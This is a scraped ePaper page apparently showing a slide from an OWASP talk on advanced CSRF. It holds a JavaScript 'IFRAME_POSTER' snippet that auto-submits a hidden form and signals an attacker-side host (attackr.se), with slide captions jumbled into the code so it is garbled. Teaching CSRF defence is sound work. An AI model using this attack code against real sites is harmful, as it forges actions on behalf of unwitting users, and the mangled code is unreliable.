Advanced CSRF and Stateless Anti-CSRF - owasp
Advanced CSRF and Stateless Anti-CSRF - owasp
Advanced CSRF and Stateless Anti-CSRF - owasp
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
var IFRAME_POSTER = {};<br />
IFRAME_POSTER.havePosted = false;<br />
IFRAME_POSTER.reportAndPost = function() {<br />
if(parent != undefined) {<br />
parent.postMessage(IFRAME_ID,<br />
"https://attackr.se:8444");<br />
} The heart beats stop automatically<br />
if(!IFRAME_POSTER.havePosted)<br />
when the POST is done since<br />
{<br />
the<br />
document.forms['target'].submit();<br />
iframe IFRAME_POSTER.havePosted is loaded with the = true; response<br />
}<br />
from the web server that got the<br />
};<br />
POST.<br />
IFRAME_POSTER.onLoad = function() {<br />
setInterval(IFRAME_POSTER.reportAndPost, 1000);<br />
};<br />
iframePoster